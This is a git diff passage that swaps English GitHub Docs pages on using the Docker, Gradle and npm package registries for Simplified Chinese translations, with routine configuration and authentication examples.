docker.HOSTNAME/octocat/octo-app/monalisa:1.0 ``` {% endif %} -You can publish a new Docker image for the first time and name it `monalisa`. +首次可以发布新的 Docker 映像并将其命名为 `monalisa`。 {% ifversion fpt or ghec %} ```shell @@ -222,47 +200,43 @@ $ docker push docker.pkg.github.com/octocat/octo-app/monalisa:1.0 ```shell # Build the image with docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:VERSION # Assumes Dockerfile resides in the current working directory (.) -$ docker build -t docker.HOSTNAME/octocat/octo-app/monalisa:1.0 . +$ docker build -t docker.HOSTNAME/octocat/octo-app/monalisa:1.0 . # Push the image to {% data variables.product.prodname_registry %} -$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 +$ docker push docker.HOSTNAME/octocat/octo-app/monalisa:1.0 ``` {% endif %} -## Downloading an image +## 下载图像 {% data reusables.package_registry.docker_registry_deprecation_status %} -You can use the `docker pull` command to install a docker image from {% data variables.product.prodname_registry %}, replacing *OWNER* with the name of the user or organization account that owns the repository, *REPOSITORY* with the name of the repository containing your project, *IMAGE_NAME* with name of the package or image,{% ifversion ghes or ghae %} *HOSTNAME* with the host name of {% data variables.location.product_location %}, {% endif %} and *TAG_NAME* with tag for the image you want to install. +可以使用 `docker pull` 命令从 {% data variables.product.prodname_registry %} 安装 Docker 映像,将 OWNER 替换为拥有存储库的用户或组织帐户的名称,将 REPOSITORY 替换为包含项目的存储库的名称,将 IMAGE_NAME 替换为包或映像的名称,{% ifversion ghes or ghae %}将 HOSTNAME 替换为 {% data variables.product.product_location %} 的主机名,{% endif %} 并将 TAG_NAME 替换为要安装的映像的标记 。 {% ifversion fpt or ghec %} ```shell -$ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +$ docker pull docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` {% else %} -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} +{% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell -$ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +$ docker pull docker.HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% ifversion ghes %} 如果实例禁用了子域隔离: ```shell -$ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME +$ docker pull HOSTNAME/OWNER/REPOSITORY/IMAGE_NAME:TAG_NAME ``` -{% endif %} -{% endif %} +{% endif %} {% endif %} {% note %} -**Note:** You must pull the image using `IMAGE_NAME:VERSION` and not using `IMAGE_NAME:SHA`. +注意:必须使用 `IMAGE_NAME:VERSION` 而不是 `IMAGE_NAME:SHA` 拉取映像。 {% endnote %} -## Further reading +## 延伸阅读 -- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" +- [删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package) {% endif %} diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md index e903fc567f..3cbe4eab4f 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md @@ -1,6 +1,6 @@ --- -title: Working with the Gradle registry -intro: 'You can configure Gradle to publish packages to the {% data variables.product.prodname_registry %} Gradle registry and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.' +title: 使用 Gradle 注册表 +intro: '您可以配置 Gradle 以将包发布到 {% data variables.product.prodname_registry %} Gradle 注册表并将存储在 {% data variables.product.prodname_registry %} 上的包用作 Java 项目中的依赖项。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-gradle-for-use-with-github-package-registry @@ -14,40 +14,42 @@ versions: ghae: '*' ghec: '*' shortTitle: Gradle registry +ms.openlocfilehash: 65475c04ea3c6934bdf126500f16c3a907b7efd6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061657' --- - -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.package_registry.admins-can-configure-package-types %} -## Authenticating to {% data variables.product.prodname_registry %} +## 向 {% data variables.product.prodname_registry %} 验证 {% data reusables.package_registry.authenticate-packages %} -{% data reusables.package_registry.authenticate-packages-github-token %} For more information about using `GITHUB_TOKEN` with Gradle, see "[Publishing Java packages with Gradle](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)." +{% data reusables.package_registry.authenticate-packages-github-token %} 有关将 `GITHUB_TOKEN` 与 Gradle 结合使用的详细信息,请参阅“[使用 Gradle 发布 Java 包](/actions/guides/publishing-java-packages-with-gradle#publishing-packages-to-github-packages)”。 -### Authenticating with a {% data variables.product.pat_generic %} +### 使用个人访问令牌进行身份验证 {% data reusables.package_registry.required-scopes %} -You can authenticate to {% data variables.product.prodname_registry %} with Gradle using either Gradle Groovy or Kotlin DSL by editing your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file to include your {% data variables.product.pat_v1 %}. You can also configure Gradle Groovy and Kotlin DSL to recognize a single package or multiple packages in a repository. +你可以使用 Gradle Groovy 或 Kotlin DSL 通过 Gradle 向 {% data variables.product.prodname_registry %} 进行验证,方法是编辑你的 build.gradle 文件 (Gradle Groovy) 或 build.gradle.kts 文件 (Kotlin DSL),将你的个人访问令牌包含在其中 。 您还可以配置 Gradle Groovy 和 Kotlin DSL 以识别仓库中的一个或多个包。 -{% ifversion ghes %} -Replace *REGISTRY-URL* with the URL for your instance's Maven registry. If your instance has subdomain isolation enabled, use `maven.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/maven`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance. -{% elsif ghae %} -Replace *REGISTRY-URL* with the URL for your enterprise's Maven registry, `maven.HOSTNAME`. Replace *HOSTNAME* with the host name of {% data variables.location.product_location %}. +{% ifversion ghes %} 将 REGISTRY-URL 替换为你实例的 Maven 注册表的 URL。 如果你的实例启用了子域隔离功能,请使用 `maven.HOSTNAME`。 如果你的实例禁用了子域隔离功能,请使用 `HOSTNAME/_registry/maven`。 在任一情况下,都将 HOSTNAME 替换为 {% data variables.product.prodname_ghe_server %} 实例的主机名。 +{% elsif ghae %} 将 REGISTRY-URL 替换为企业 Maven 注册表 `maven.HOSTNAME` 的 URL。 将 HOSTNAME 替换为 {% data variables.product.product_location %} 的主机名。 {% endif %} -Replace *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_v1 %}, *REPOSITORY* with the name of the repository containing the package you want to publish, and *OWNER* with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters. +将 USERNAME 替换为你的 {% data variables.product.prodname_dotcom %} 用户名,将 TOKEN 替换为你的个人访问令牌,将 REPOSITORY 替换为包含要发布的包的存储库的名称,将 OWNER 替换为 {% data variables.product.prodname_dotcom %} 上拥有该存储库的用户或组织帐户的名称 。 由于不支持大写字母,因此,即使您的 {% data variables.product.prodname_dotcom %} 用户或组织名称中包含大写字母,也必须对仓库所有者使用小写字母。 {% note %} -**Note:** {% data reusables.package_registry.apache-maven-snapshot-versions-supported %} For an example, see "[Configuring Apache Maven for use with {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)." +注意:{% data reusables.package_registry.apache-maven-snapshot-versions-supported %} 有关示例,请参阅“[配置 Apache Maven 以用于 {% data variables.product.prodname_registry %}](/packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages)”。 {% endnote %} -#### Example using Gradle Groovy for a single package in a repository +#### 将 Gradle Groovy 用于一个仓库中单个包的示例 ```shell plugins { @@ -57,10 +59,10 @@ publishing { repositories { maven { name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") credentials { - username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") } } } @@ -72,7 +74,7 @@ publishing { } ``` -#### Example using Gradle Groovy for multiple packages in the same repository +#### 将 Gradle Groovy 用于同一个仓库中多个包的示例 ```shell plugins { @@ -84,10 +86,10 @@ subprojects { repositories { maven { name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") credentials { - username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") } } } @@ -100,7 +102,7 @@ subprojects { } ``` -#### Example using Kotlin DSL for a single package in the same repository +#### 将 Kotlin DSL 用于同一个仓库中单个包的示例 ```shell plugins { @@ -110,10 +112,10 @@ publishing { repositories { maven { name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") credentials { - username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") } } } @@ -125,7 +127,7 @@ publishing { } ``` -#### Example using Kotlin DSL for multiple packages in the same repository +#### 将 Kotlin DSL 用于同一个仓库中多个包的示例 ```shell plugins { @@ -137,10 +139,10 @@ subprojects { repositories { maven { name = "GitHubPackages" - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") credentials { - username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") } } } @@ -153,67 +155,67 @@ subprojects { } ``` -## Publishing a package +## 发布包 -{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example.test` in the `OWNER/test` {% data variables.product.prodname_registry %} repository. +{% data reusables.package_registry.default-name %} 例如,{% data variables.product.prodname_dotcom %} 将名为 `com.example.test` 的包发布到 `OWNER/test` {% data variables.product.prodname_registry %} 存储库中。 {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. After creating your package, you can publish the package. +2. 创建包后,您可以发布包。 ```shell $ gradle publish ``` -## Using a published package +## 使用已发布的包 -To use a published package from {% data variables.product.prodname_registry %}, add the package as a dependency and add the repository to your project. For more information, see "[Declaring dependencies](https://docs.gradle.org/current/userguide/declaring_dependencies.html)" in the Gradle documentation. +要使用 {% data variables.product.prodname_registry %} 发布的软件包,请将包添加为依赖项,并将仓库添加到项目。 有关详细信息,请参阅 Gradle 文档中的“[声明依赖项](https://docs.gradle.org/current/userguide/declaring_dependencies.html)”。 {% data reusables.package_registry.authenticate-step %} -2. Add the package dependencies to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. +2. 将包依赖项添加到你的 build.gradle 文件 (Gradle Groovy) 或 build.gradle.kts 文件 (Kotlin DSL) 。 - Example using Gradle Groovy: + 使用 Gradle Groovy 的示例: ```shell dependencies { implementation 'com.example:package' } ``` - Example using Kotlin DSL: + 使用 Kotlin DSL 的示例: ```shell dependencies { implementation("com.example:package") } ``` -3. Add the repository to your *build.gradle* file (Gradle Groovy) or *build.gradle.kts* file (Kotlin DSL) file. +3. 将存储库添加到 build.gradle 文件 (Gradle Groovy) 或 build.gradle.kts 文件 (Kotlin DSL) 。 - Example using Gradle Groovy: + 使用 Gradle Groovy 的示例: ```shell repositories { maven { - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") credentials { - username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") + username = project.findProperty("gpr.user") ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") ?: System.getenv("TOKEN") } } } ``` - Example using Kotlin DSL: + 使用 Kotlin DSL 的示例: ```shell repositories { maven { - url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") + url = uri("https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/REPOSITORY") credentials { - username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") - password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") + username = project.findProperty("gpr.user") as String? ?: System.getenv("USERNAME") + password = project.findProperty("gpr.key") as String? ?: System.getenv("TOKEN") } } } ``` -## Further reading +## 延伸阅读 -- "[Working with the Apache Maven registry](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry)" -- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" +- [使用 Apache Maven 注册表](/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry) +- [删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package) diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md index 09d4236c63..f681010bf9 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-npm-registry.md @@ -1,6 +1,6 @@ --- -title: Working with the npm registry -intro: 'You can configure npm to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in an npm project.' +title: 使用 npm 注册表 +intro: '您可以配置 npm 以将包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作 npm 项目中的依赖项。' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-npm-for-use-with-github-package-registry @@ -14,65 +14,62 @@ versions: ghae: '*' ghec: '*' shortTitle: npm registry +ms.openlocfilehash: 11b1ab58cd57c6cecdeb2366b83696166cdc6245 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193127' --- - -{% data reusables.package_registry.packages-ghes-release-stage %} -{% data reusables.package_registry.packages-ghae-release-stage %} +{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% data reusables.package_registry.admins-can-configure-package-types %} -{% ifversion packages-npm-v2 %} -{% else %} -## Limits for published npm versions +{% ifversion packages-npm-v2 %} {% else %} +## 已发布 npm 版本的限制 -If you publish over 1,000 npm package versions to {% data variables.product.prodname_registry %}, you may see performance issues and timeouts occur during usage. +如果您发布超过 1,000npm 软件包版本到 {% data variables.product.prodname_registry %},在使用过程中可能会出现性能问题和超时。 -In the future, to improve performance of the service, you won't be able to publish more than 1,000 versions of a package on {% data variables.product.prodname_dotcom %}. Any versions published before hitting this limit will still be readable. +将来,为了提高服务的性能,您将无法在 {% data variables.product.prodname_dotcom %} 上发布超过 1,000 个版本的包。 在达到此限制之前发布的任何版本仍将是可读的。 -If you reach this limit, consider deleting package versions or contact Support for help. When this limit is enforced, our documentation will be updated with a way to work around this limit. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)" or "[Contacting Support](/packages/learn-github-packages/about-github-packages#contacting-support)." +如果达到此限制,请考虑删除包版本或联系支持人员寻求帮助。 实施此限制后,我们的文档将就此限制进行更新。 有关详细信息,请参阅“[删除和还原包](/packages/learn-github-packages/deleting-and-restoring-a-package)”或“[联系支持人员](/packages/learn-github-packages/about-github-packages#contacting-support)”。 {% endif %} -## Authenticating to {% data variables.product.prodname_registry %} +## 向 {% data variables.product.prodname_registry %} 验证 {% data reusables.package_registry.authenticate-packages %} -{% ifversion packages-npm-v2 %} -{% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} +{% ifversion packages-npm-v2 %} {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %} -You can also choose to give access permissions to packages independently for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_actions %}. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package) and [Ensuring workflow access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)." +还可以选择为 {% data variables.product.prodname_codespaces %} 和 {% data variables.product.prodname_actions %} 单独授予对包的访问权限。 有关详细信息,请参阅“[确保 Codespace 访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)和[确保工作流程访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-workflow-access-to-your-package)”。 {% endif %} -### Authenticating with a {% data variables.product.pat_generic %} +### 使用 {% data variables.product.pat_generic %} 进行身份验证 {% data reusables.package_registry.required-scopes %} -You can authenticate to {% data variables.product.prodname_registry %} with npm by either editing your per-user *~/.npmrc* file to include your {% data variables.product.pat_v1 %} or by logging in to npm on the command line using your username and {% data variables.product.pat_generic %}. +通过编辑你的每用户 ~/.npmrc 文件以包含 {% data variables.product.pat_v1 %},或者在命令行上使用用户名和 {% data variables.product.pat_generic %} 登录 npm,你可以使用 npm 对 {% data variables.product.prodname_registry %} 进行身份验证。 -To authenticate by adding your {% data variables.product.pat_v1 %} to your *~/.npmrc* file, edit the *~/.npmrc* file for your project to include the following line, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %} and {% endif %}*TOKEN* with your {% data variables.product.pat_generic %}. Create a new *~/.npmrc* file if one doesn't exist. +若要通过将 {% data variables.product.pat_v1 %} 添加到 ~/.npmrc 文件来进行身份验证,请编辑项目的 ~/.npmrc 文件以包含以下行,将 {% ifversion ghes or ghae %}HOSTNAME 替换为 {% data variables.location.product_location %} 的主机名,并将 {% endif %}TOKEN 替换为你的 {% data variables.product.pat_generic %} 。 创建一个新的 ~/.npmrc 文件(如果不存在)。 -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} +{% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell //{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}/:_authToken=TOKEN ``` -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% ifversion ghes %} 如果实例禁用了子域隔离: ```shell //HOSTNAME/_registry/npm/:_authToken=TOKEN ``` {% endif %} -To authenticate by logging in to npm, use the `npm login` command, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your {% data variables.product.pat_v1 %}, and *PUBLIC-EMAIL-ADDRESS* with your email address. +若要通过登录到 npm 进行身份验证,请使用 `npm login` 命令,将 USERNAME 替换为你的 {% data variables.product.prodname_dotcom %} 用户名,将 TOKEN 替换为你的 {% data variables.product.pat_v1 %},并将 PUBLIC-EMAIL-ADDRESS 替换为你的电子邮件地址 。 -If {% data variables.product.prodname_registry %} is not your default package registry for using npm and you want to use the `npm audit` command, we recommend you use the `--scope` flag with the owner of the package when you authenticate to {% data variables.product.prodname_registry %}. +如果 {% data variables.product.prodname_registry %} 不是使用 npm 的默认包注册表,并且你要使用 `npm audit` 命令,我们建议你在对 {% data variables.product.prodname_registry %} 进行身份验证时,将 `--scope` 标志与包的所有者一起使用。 -{% ifversion ghes %} -If your instance has subdomain isolation enabled: -{% endif %} +{% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell $ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %} @@ -82,8 +79,7 @@ $ npm login --scope=@OWNER --registry=https://{% ifversion fpt or ghec %}npm.pkg > Email: PUBLIC-EMAIL-ADDRESS ``` -{% ifversion ghes %} -If your instance has subdomain isolation disabled: +{% ifversion ghes %} 如果实例禁用了子域隔离: ```shell $ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ @@ -93,91 +89,78 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_registry/npm/ ``` {% endif %} -## Publishing a package +## 发布包 {% note %} -**Note:** Package names and scopes must only use lowercase letters. +注意:包名称和作用域只能使用小写字母。 {% endnote %} -{% ifversion packages-npm-v2 %} -The {% data variables.product.prodname_registry %} registry stores npm packages within your organization or personal account, and allows you to associate a package with a repository. You can choose whether to inherit permissions from a repository, or set granular permissions independently of a repository. +{% ifversion packages-npm-v2 %}{% data variables.product.prodname_registry %} 注册表会将 npm 包存储在组织或个人帐户中,并允许将包与存储库关联。 可以选择是从存储库继承权限,还是独立于存储库设置精细权限。 -{% data reusables.package_registry.publishing-user-scoped-packages %} -{% endif %} +{% data reusables.package_registry.publishing-user-scoped-packages %} {% endif %} -By default, {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the name field of the *package.json* file. For example, you would publish a package named `@my-org/test` to the `my-org/test` {% data variables.product.prodname_dotcom %} repository. If you're running [npm v8.5.3](https://github.com/npm/cli/releases/tag/v8.5.3) or later, you can add a summary for the package listing page by including a *README.md* file in your package directory. For more information, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" and "[How to create Node.js Modules](https://docs.npmjs.com/getting-started/creating-node-modules)" in the npm documentation. +默认情况下,{% data variables.product.prodname_registry %} 将包发布到你在 package.json 文件的名称字段中指定的 {% data variables.product.prodname_dotcom %} 存储库。 例如,你要将一个名为 `@my-org/test` 的包发布到 `my-org/test` {% data variables.product.prodname_dotcom %} 存储库。 如果运行 [npm v8.5.3](https://github.com/npm/cli/releases/tag/v8.5.3) 或更高版本,则可以通过在包目录中包含 README.md 文件,为包列表页面添加一个摘要。 有关详细信息,请参阅 npm 文档中的“[使用 package.json](https://docs.npmjs.com/getting-started/using-a-package.json)”和“[如何创建 Node.js 模块](https://docs.npmjs.com/getting-started/creating-node-modules)”。 -You can publish multiple packages to the same {% data variables.product.prodname_dotcom %} repository by including a `URL` field in the *package.json* file. For more information, see "[Publishing multiple packages to the same repository](#publishing-multiple-packages-to-the-same-repository)." +通过在 package.json 文件中包含 `URL` 字段,可以将多个包发布到同一个 {% data variables.product.prodname_dotcom %} 存储库。 有关详细信息,请参阅“[将多个包发布到同一存储库](#publishing-multiple-packages-to-the-same-repository)”。 -You can set up the scope mapping for your project using either a local *.npmrc* file in the project or using the `publishConfig` option in the *package.json*. {% data variables.product.prodname_registry %} only supports scoped npm packages. Scoped packages have names with the format of `@owner/name`. Scoped packages always begin with an `@` symbol. You may need to update the name in your *package.json* to use the scoped name. For example, `"name": "@codertocat/hello-world-npm"`. +可以使用项目中的本地 .npmrc 文件或使用 package.json 中的 `publishConfig` 选项来设置项目的作用域映射 。 {% data variables.product.prodname_registry %} 只支持作用域内的 npm 包。 作用域内包的名称格式为 `@owner/name`。 作用域内的包总是以 `@` 符号开头。 可能需要更新 package.json 中的名称以使用作用域内的名称。 例如,`"name": "@codertocat/hello-world-npm"`。 {% data reusables.package_registry.viewing-packages %} -### Publishing a package using a local *.npmrc* file +### 使用本地 .npmrc 文件发布包 -You can use an *.npmrc* file to configure the scope mapping for your project. In the *.npmrc* file, use the {% data variables.product.prodname_registry %} URL and account owner so {% data variables.product.prodname_registry %} knows where to route package requests. Using an *.npmrc* file prevents other developers from accidentally publishing the package to npmjs.org instead of {% data variables.product.prodname_registry %}. +可以使用 .npmrc 文件来配置项目的作用域映射。 在 .npmrc 文件中,使用 {% data variables.product.prodname_registry %} URL 和帐户所有者,以便 {% data variables.product.prodname_registry %} 知道将包请求路由到何处。 使用 .npmrc 文件防止其他开发人员意外地将包发布到 npmjs.org 而不是 {% data variables.product.prodname_registry %}。 -{% data reusables.package_registry.authenticate-step %} -{% data reusables.package_registry.create-npmrc-owner-step %} -{% data reusables.package_registry.add-npmrc-to-repo-step %} -1. Verify the name of your package in your project's *package.json*. The `name` field must contain the scope and the name of the package. For example, if your package is called "test", and you are publishing to the "My-org" {% data variables.product.prodname_dotcom %} organization, the `name` field in your *package.json* should be `@my-org/test`. -{% data reusables.package_registry.verify_repository_field %} -{% data reusables.package_registry.publish_package %} +{% data reusables.package_registry.authenticate-step %} {% data reusables.package_registry.create-npmrc-owner-step %} {% data reusables.package_registry.add-npmrc-to-repo-step %} +1. 验证项目的 package.json 中包的名称。 `name` 字段必须包含包的作用域和名称。 例如,如果包名为“test”,并且要发布到“My-org”{% data variables.product.prodname_dotcom %} 组织,则 package.json 中的 `name` 字段应为 `@my-org/test`。 +{% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -### Publishing a package using `publishConfig` in the *package.json* file +### 使用 package.json 文件中的 `publishConfig` 发布包 -You can use `publishConfig` element in the *package.json* file to specify the registry where you want the package published. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation. +可以使用 package.json 文件中的 `publishConfig` 元素来指定要发布包的注册表。 有关详细信息,请参阅 npm 文档中的“[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)”。 -1. Edit the *package.json* file for your package and include a `publishConfig` entry. - {% ifversion ghes %} - If your instance has subdomain isolation enabled: - {% endif %} +1. 编辑包的 package.json 文件并包含一个 `publishConfig` 条目。 + {% ifversion ghes %} 如果实例启用了子域隔离:{% endif %} ```shell "publishConfig": { "registry": "https://{% ifversion fpt or ghec %}npm.pkg.github.com{% else %}npm.HOSTNAME/{% endif %}" }, ``` - {% ifversion ghes %} - If your instance has subdomain isolation disabled: + {% ifversion ghes %} 如果实例禁用了子域隔离: ```shell "publishConfig": { "registry": "https://HOSTNAME/_registry/npm/" }, ``` - {% endif %} -{% data reusables.package_registry.verify_repository_field %} -{% data reusables.package_registry.publish_package %} + {% endif %} {% data reusables.package_registry.verify_repository_field %} {% data reusables.package_registry.publish_package %} -## Publishing multiple packages to the same repository +## 将多个包发布到同一个仓库 -To publish multiple packages to the same repository, you can include the URL of the {% data variables.product.prodname_dotcom %} repository in the `repository` field of the *package.json* file for each package. +若要将多个包发布到同一存储库,可以在每个包的 package.json 文件的 `repository` 字段中包含 {% data variables.product.prodname_dotcom %} 存储库的 URL。 -To ensure the repository's URL is correct, replace REPOSITORY with the name of the repository containing the package you want to publish, and OWNER with the name of the user or organization account on {% data variables.product.prodname_dotcom %} that owns the repository. +为确保仓库的 URL 正确,请将 REPOSITORY 替换为要发布的包所在仓库的名称,将 OWNER 替换为拥有该仓库的 {% data variables.product.prodname_dotcom %} 用户或组织帐户的名称。 -{% data variables.product.prodname_registry %} will match the repository based on the URL, instead of based on the package name. +{% data variables.product.prodname_registry %} 将根据该 URL 匹配仓库,而不是根据包名称。 ```shell "repository":"https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY", ``` -## Installing a package +## 安装包 -You can install packages from {% data variables.product.prodname_registry %} by adding the packages as dependencies in the *package.json* file for your project. For more information on using a *package.json* in your project, see "[Working with package.json](https://docs.npmjs.com/getting-started/using-a-package.json)" in the npm documentation. +通过在项目的 package.json 文件中将包添加为依赖项,可以从 {% data variables.product.prodname_registry %} 安装包。 有关在项目中使用 package.json 的详细信息,请参阅 npm 文档中的“[使用 package.json](https://docs.npmjs.com/getting-started/using-a-package.json)”。 -By default, you can add packages from one organization. For more information, see "[Installing packages from other organizations](#installing-packages-from-other-organizations)." +默认情况下,您可以从一个组织添加包。 有关详细信息,请参阅“[从其他组织安装包](#installing-packages-from-other-organizations)”。 -You also need to add the *.npmrc* file to your project so that all requests to install packages will {% ifversion ghae %}be routed to{% else %}go through{% endif %} {% data variables.product.prodname_registry %}. {% ifversion fpt or ghes or ghec %}When you route all package requests through {% data variables.product.prodname_registry %}, you can use both scoped and unscoped packages from *npmjs.org*. For more information, see "[npm-scope](https://docs.npmjs.com/misc/scope)" in the npm documentation.{% endif %} +还需要将 .npmrc 文件添加到项目中,以便所有安装包的请求都将{% ifversion ghae %}路由到{% else %}通过{% 